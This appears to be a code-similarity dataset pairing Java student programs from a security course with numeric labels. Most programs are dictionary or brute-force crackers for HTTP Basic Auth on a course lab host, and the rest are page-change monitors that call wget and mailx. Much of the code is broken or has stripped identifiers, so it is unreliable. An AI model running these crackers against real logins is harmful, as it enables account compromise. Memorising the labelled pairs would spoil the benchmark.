import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
048.java
161.java
0
import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; import java.net.HttpURLConnection; public class BruteForce { String uname = ""; String pword = "null"; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String cad = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i<v.size(); i++) { pword = (String)v.elementAt(i); String up = uname + ":" + pword; String encoding; try { secureSite.misc.BASE64Encoder encoder = (secureSite.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance(); encoding = encoder.encode (up.getBytes()); } catch (Exception ex) { Base64Converter encoder = new Base64Converter(); encoding = encoder.encode(up.getBytes()); } connection.setRequestProperty ("Authorization", " " + encoding); connection.connect(); if(connection instanceof HttpURLConnection) { HttpURLConnection httpCon=(HttpURLConnection)connection; if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED) { System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword); httpCon.disconnect(); doConnect(uname, i+1); } else { System.out.println("\n\n\nPassword for HTTP Secure Site By BruteForce Attack"); System.out.println( +"\tPassword : "+ pword); runTime = System.currentTimeMillis() - runTime; System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i); System.exit(0); } } } } } catch(Exception ex) { ex.printStackTrace(); } } public Vector getPassword() { try { makePasswords mp = new makePasswords(); mp.makePass(); mp.loadFile(); v = mp.getVector(); } catch(Exception ex) { ex.printStackTrace(); } return v; } public void setTimeTaken( int time_taken) { runTime = time_taken; } public static void main( String args[] ) throws IOException { try { runTime1 = System.currentTimeMillis(); BruteForce newDo = new BruteForce(); newDo.setTimeTaken(runTime1); newDo.getPassword(); String site = "http://sec-crack.cs.rmit.edu./SEC/2/"; newDo.doConnect(site, 0); }catch(Exception ex) { System.out.println("Errrrrrrr"); } } } class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24=( octetString [ i++ ] & 0xFF ) << 16; bits24 |=( octetString [ i++ ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
004.java
161.java
0
import java.io.*; import java.util.*; import java.net.*; import java.net.Authenticator; public class Dictionary { private String result =""; public class customAuthenticator extends Authenticator { public customAuthenticator(String passwd) { this.pass = passwd; } protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("",pass.toCharArray()); } public String pass; } public Dictionary() { DataInputStream dis = null; String record = null; int recCount = 0, flag=0; String result=""; java.util.Date d = java.util.Calendar.getInstance().getTime(); System.out.println(d.toString()); String url = "http://sec-crack.cs.rmit.edu./SEC/2/"; int count=1; String passwd=new String(); HttpURLConnection connection = null; URL u = null; try { u = new URL(url); File f = new File("/usr/share/lib/dict/words"); FileInputStream fis = new FileInputStream(f); BufferedInputStream bis = new BufferedInputStream(fis); dis = new DataInputStream(bis); while ( (record=dis.readLine()) != null ) { System.out.println(count+ " ) " + record); count++; connection = (HttpURLConnection) u.openConnection(); Authenticator.setDefault(new customAuthenticator(record)); if (connection.getResponseCode()==200) { System.out.print("The password is : "+record); System.out.println(); java.util.Date d1 = java.util.Calendar.getInstance().getTime(); System.out.println(d1.toString()); System.out.println("\ntime taken in seconds:"+ (d1.getTime() - d.getTime())/1000+"\n"); System.exit(0); } connection.disconnect(); } } catch(Exception e) { System.err.println(e); } } public static void main(String[] args) { Dictionary = new Dictionary(); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
239.java
161.java
0
import java.util.*; import java.io.*; import java.net.*; class WatchDog { public static void main (String a[]) { try{ for(int i=0;i<4;i++) { String filename = "new.txt"; if(i==0) { filename="original.txt"; } WatchDogThread myTh = new WatchDogThread(filename); Thread th = new Thread( myTh ); th.start(); th.sleep(20000); if(i>2) { Runtime.getRuntime().exec("wget http://yallara.cs.rmit.edu.:28589/mymail.php"); } } } catch(Exception ex1) { System.out.println(" error while running looop "+ex1); } } } class WatchDogThread implements Runnable { String filename="incorrect.txt"; public WatchDogThread(String filename) { this.filename = filename; } public void run() { URL u = null; try { u=new URL("http://yallara.cs.rmit.edu./~/.html"); BufferedReader in = new BufferedReader( new InputStreamReader(u.openStream( )) ); PrintWriter out = new PrintWriter(new BufferedWriter(new FileWriter(filename))); String s = in.readLine(); while( s != null) { out.println(s); s=in.readLine(); System.out.println("printing : "+s); } System.out.println("finished ----- "); in.print(); out.print(); } catch(Exception ert) { System.out.println("exception in thread "+ert); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
178.java
161.java
0
import java.io.*; import java.net.*; import java.util.*; public class Watchdog { public static void main(String args[]) { String mainLink="http://www.cs.rmit.edu./students/"; String sender = "@cs.rmit.edu."; String recipient = "<webtech@acuneeds.>"; String hostName = "yallara.cs.rmit.edu."; int delay = 86400000; try { int imgSrcIndex, imgSrcEnd; String imgLink; Vector imageList = new Vector(); HttpURLConnection imgConnection; URL imgURL; EmailClient email = new EmailClient(sender, recipient, hostName); URL url=new URL(mainLink); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream())); FileWriter fwrite = new FileWriter("local.txt"); BufferedWriter writefile = new BufferedWriter(fwrite); String line=webpage.readLine(); while (line != null) { writefile.write(line,0,line.length()); writefile.newLine(); line = line.toLowerCase(); imgSrcIndex=line.indexOf("src"); if(imgSrcIndex!=-1) { imgLink = line.substring(imgSrcIndex+3); imgSrcIndex=imgLink.indexOf("\""); imgLink = imgLink.substring(imgSrcIndex+1); imgSrcEnd = imgLink.indexOf("\""); imgLink = imgLink.substring(0,imgSrcEnd); if (imgLink.startsWith("http")) { imgURL = new URL(imgLink); imgConnection = (HttpURLConnection) imgURL.openConnection(); } else { imgURL = new URL(mainLink); imgURL = new URL(imgURL, imgLink); imgConnection = (HttpURLConnection) imgURL.openConnection(); imgLink = (imgConnection.getURL()).toString(); } imageList.add(new ImageFile(imgLink, imgConnection.getContentLength())); imgConnection.disconnect(); } line = webpage.readLine(); } writefile.close(); fwrite.close(); webpage.close(); connection.disconnect(); WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay); } catch (IOException ioe) { System.out.println(ioe); System.out.println("Please run program again."); System.exit(0); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
015.java
161.java
0
public class HoldSharedData { private int numOfConnections = 0; private int startTime; private int totalTime = 0; private String[] password; private int pwdCount; public HoldSharedData( int time, String[] pwd, int count ) { startTime = time; password = pwd; pwdCount = count; } public int getPwdCount() { return pwdCount; } public void setNumOfConnections( ) { numOfConnections ++; } public int getNumOfConnections() { return numOfConnections; } public int getStartTime() { return startTime; } public void setTotalTime( int newTotalTime ) { totalTime = newTotalTime; } public int getTotalTime() { return totalTime; } public String getPasswordAt( int index ) { return password[index]; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
231.java
161.java
0
import java.io.*; import java.*; import java.net.*; public class BruteForce { public static void main(String[] args) throws Exception { String password = checkPassword(); System.out.println("Congratulations Your password is "+ password ); URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection sec = (HttpURLConnection)url.openConnection(); sec.setRequestProperty("Authorization", " " + encode(":"+password)); BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) System.out.println(inputLine); in.close(); } private static String checkPassword() throws Exception { String Password=" "; int attempt=0; URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection sec; String[] cad = {"a","b","c","d","e","f","g","h","i","j","k","l","m", "n","o","p","q","r","s","t","u","v","w","x","y","z", "A","B","C","D","E","F","G","H","I","J","K","L","M", "N","O","P","Q","R","S","T","U","V","W","X","Y","Z"}; for (int i=0; i < cad.length; i++) { for (int j=0; j< cad.length;j++) { for (int k=0; k<cad.length;k++) { attempt++; String Passwd = new String(cad[i]+cad[j]+cad[k]); String userPasswd= ":"+Passwd; System.out.println(attempt+" "+userPasswd); sec = (HttpURLConnection)url.openConnection(); sec.setRequestProperty("Authorization", " " + encode(userPasswd)); if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK")) { Password=Passwd; return Password; } sec.disconnect(); } } } return "Password not found"; } private static String encode(String userPasswd) throws Exception { String ad; String encodedUserPasswd=" "; String addr= "~//base64_encode.php "+userPasswd ; Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", addr}); BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream())); while ( (cad = resp.readLine()) != null ) { encodedUserPasswd=cad; } return encodedUserPasswd; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
160.java
161.java
0
import java.io.*; public class WatchDog { public static void main (String[] args) { String isdiff = new String(); String[] cmd1 = {"//sh","-c","diff newfile.html oldfile.html > diff.txt"}; String[] cmd2 = {"//sh","-c","mailx -s \"Web Changed\" \"@cs.rmit.edu.\" < diff.txt"}; try { while(true) { Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html"); Thread.sleep(43200000); Thread.sleep(43200000); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html"); Thread.sleep(2000); Runtime.getRuntime().exec(cmd1); Thread.sleep(2000); BufferedReader diff = new BufferedReader(new FileReader("diff.txt")); if ((isdiff=diff.readLine()) != null) { Runtime.getRuntime().exec(cmd2); System.out.println("Change Detected & Email Send"); } diff.print(); } } catch (IOException err) { err.printStackTrace(); } catch (InterruptedException err) { err.printStackTrace(); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }